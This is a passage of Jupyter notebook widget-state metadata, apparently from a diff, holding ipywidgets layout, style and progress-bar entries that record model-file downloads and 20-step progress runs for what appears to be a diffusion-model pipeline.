"IPY_MODEL_c9dd35af3a2449f7b2b7be3915b01a70", + "IPY_MODEL_b40740317d3a4116a5b141ad4b6cf6ed" + ], + "layout": "IPY_MODEL_8babbe3e6d994cbeaa63e70192e858a4" + } + }, + "a8983f58e5c44385864ba164e3d00083": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_1d631802aab44912a6097e97d2675102", + "placeholder": "​", + "style": "IPY_MODEL_c772f5d3ffca49a2a4c0d16a4469105c", + "value": " 335M/335M [00:05<00:00, 68.1MB/s]" + } + }, + "a9d50ec01c8045af902bf580e92ab30c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_92d0bc42d43c46b2a720ee96e7353232", + "placeholder": "​", + "style": "IPY_MODEL_641c3e365227455c87baeb3597c44cde", + "value": " 20/20 [00:02<00:00, 9.26it/s]" + } + }, + "aa75dd567b114609a3f47591a002709c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_532e652d4d5245c8b7579c4fda4217c3", + "max": 20, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_4b313724533349be92ef5cb53c1388cd", + "value": 20 + } + }, + "aabeb052d7644bdcab945fdd5acf3cd7": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "ab713f31f1d34894b4826a67de80daf3": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "abeaf2b96435442589d217ce731feaf4": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_c2b0ede066bf405593c66384d9548613", + "IPY_MODEL_c3a851883eba4e11b70c705a5fae3ee2", + "IPY_MODEL_c0c76cb4f1a04bfe86598e0e0dbffe23" + ], + "layout": "IPY_MODEL_bbac2ab035374103b2c4912aeda2e425" + } + }, + "ac4c75c4296f46e39a0435d0dbafc277": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_916ddc4e29e448788ab4fdeb38d4a217", + "IPY_MODEL_aa75dd567b114609a3f47591a002709c", + "IPY_MODEL_b3c948132a7a42eab9a90a4c64d0087d" + ], + "layout": "IPY_MODEL_fbbee3ba802b41c084ee35dccc8bbabf" + } + }, + "ac8bc6df18574f06b4fe458c3dff0f24": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_6a6320e8239d4413b9fc766b2e06ff1e", + "IPY_MODEL_fb21fb73c13f4b12a6e917160f5891ed", + "IPY_MODEL_d7199c08026f4da58da262e192602fc4" + ], + "layout": "IPY_MODEL_ee194df227d447d9a5a36d4ec08d3a47" + } + }, + "acccd96a575d4a679112ff80c935f1c9": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "af5bcc7147324069a3d292911d70d057": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "afea13c7ba3a44eeab58c5069f677a61": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_e0424e3a00f24718ab911e6162ce8d2c", + "placeholder": "​", + "style": "IPY_MODEL_0ef6a22743594f0081b7af4c1ec4ab71", + "value": "Downloading (…)d8e/unet/config.json: 100%" + } + }, + "b00687d7649d45af882cdd6d0f97591d": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_48d6f53c34b84be4a219cc30ac539aeb", + "placeholder": "​", + "style": "IPY_MODEL_6e4877900597413e96d01faf5f76b700", + "value": "Downloading (…)ch_model.safetensors: 100%" + } + }, + "b0367ea7d4b549bc85b64029a6da3ad7": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "b1ac65dd59c94a269c3660d4ebd8fa16": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_76732cd3aa5745058c70bb1aa44b1667", + "IPY_MODEL_09bc80852b334a6f9905c6d93eada57c", + "IPY_MODEL_c1ee4f8f667743ed94a939a9fe749e39" + ], + "layout": "IPY_MODEL_ff7c3d43d89a40a9941f2b9baf8e9fd9" + } + }, + "b25958353ffe4063bf8d09ed149c2550": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_b5c2efd1f5044b68bfb75d5fe16d7829", + "placeholder": "​", + "style": "IPY_MODEL_48faccb381254cd99a649c239a419649", + "value": "100%" + } + }, + "b286d3656c404762b3aaff97f4a5892d": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "b390338978084bd19f7e7e6ce8ea7e44": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "b3c948132a7a42eab9a90a4c64d0087d": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_4b39f1322aca40da82220ddcfa0c3975", + "placeholder": "​", + "style": "IPY_MODEL_0f564dbb7bc94fd4880dfd72e6547694", + "value": " 20/20 [00:05<00:00, 3.80it/s]" + } + }, + "b3ca161774d7404d903afbed855f054f": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "b40740317d3a4116a5b141ad4b6cf6ed": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_dfe593ba3bb440e0a29864c62f7b049e", + "placeholder": "​", + "style": "IPY_MODEL_03c6a309fc494734bd9ebf16634f9063", + "value": " 553/553 [00:00<00:00, 9.43kB/s]" + } + }, + "b4c47f72d4204e2abbe9781707b754ee": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_8e4655cdbd0348bb86523938a0d95367", + "IPY_MODEL_b99c852bd2f54c79afac0eb0049c5dd0", + "IPY_MODEL_5fd422b13c324a8baf619da5d1ad0b8e" + ], + "layout": "IPY_MODEL_dc16acab929344cab2be08d297182843" + } + }, + "b5c2efd1f5044b68bfb75d5fe16d7829": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "b6e068b2f21844dc9c184ec49af6b48f": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_fe213a7fa3c44223847fd5cf3b05a9a5", + "placeholder": "​", + "style": "IPY_MODEL_f546e96ee51643839dd2d98d09df9c87", + "value": " 1.02k/1.02k [00:00<00:00, 18.2kB/s]" + } + }, + "b74ed8b4d7604233a405f1413959b644": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_422cdb3a6aed4177aba5f6e9ac77e1bf", + "placeholder": "​", + "style": "IPY_MODEL_14fe6c5fa5274bde8d90be608d3a6814", + "value": "Downloading (…)ch_model.safetensors: 100%" + } + }, + "b77a65348afa4b6aae8540dd5d9e4d2c": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "b7db2ab7ac704366b20c166c701019c0": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "b897a3bfccf040548ccf16ef62315d5f": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "b99c852bd2f54c79afac0eb0049c5dd0": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_d1d635fff656454e9b0cdba740067c07", + "max": 10, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_e535c42b82cb4e1fa4fbf492768e5762", + "value": 10 + } + }, + "b9a0167274eb44b7be65b17130d3ade6": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_876c7d9ec56145338bb7b960b52bddd0", + "placeholder": "​", + "style": "IPY_MODEL_fa82f3acd0794629b0a5af2383807c2c", + "value": "Downloading (…)ain/model_index.json: 100%" + } + }, + "b9f1fb9570e148e7852f4f569ae82852": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_686e9a80d1554e6ca5ff8e1df5188c31", + "placeholder": "​", + "style": "IPY_MODEL_20d097bf20d541bda6c8b77a0d021c9a", + "value": " 616/616 [00:00<00:00, 33.4kB/s]" + } + }, + "ba1422edddc447b78ba7fbf4ba11e364": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "baf9ec5ebd604db9b1f5dfa948742aa2": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_b9a0167274eb44b7be65b17130d3ade6", + "IPY_MODEL_44638b1824bc48de85029440f2f4a612", + "IPY_MODEL_b9f1fb9570e148e7852f4f569ae82852" + ], + "layout": "IPY_MODEL_9f75675721ae47eb99c80fedb78ea2b7" + } + }, + "bb3842e44e0a49f2bec66a0bbb971348": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "bbac2ab035374103b2c4912aeda2e425": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "bbbca2e29d6444f7ba4e592068124650": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "bc2730d310454290aedf3e63087213f5": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "bd4b11f4948c40fb8101049fa3754dde": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_5189fa18ab144b5a93124e0b555d5677", + "placeholder": "​", + "style": "IPY_MODEL_43ac63628b35419cb9db5d234951e84f", + "value": " 20/20 [00:02<00:00, 9.11it/s]" + } + }, + "be553a7df92e48b687fc177f7ba3c5fd": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "c0bb5873a4ca4462a28773a269a6c551": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "c0c76cb4f1a04bfe86598e0e0dbffe23": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_39e7952fd2c34271a44ca997250a313c", + "placeholder": "​", + "style": "IPY_MODEL_4dc4d2c609eb40eaa6df50be567b2c61", + "value": " 20/20 [00:05<00:00, 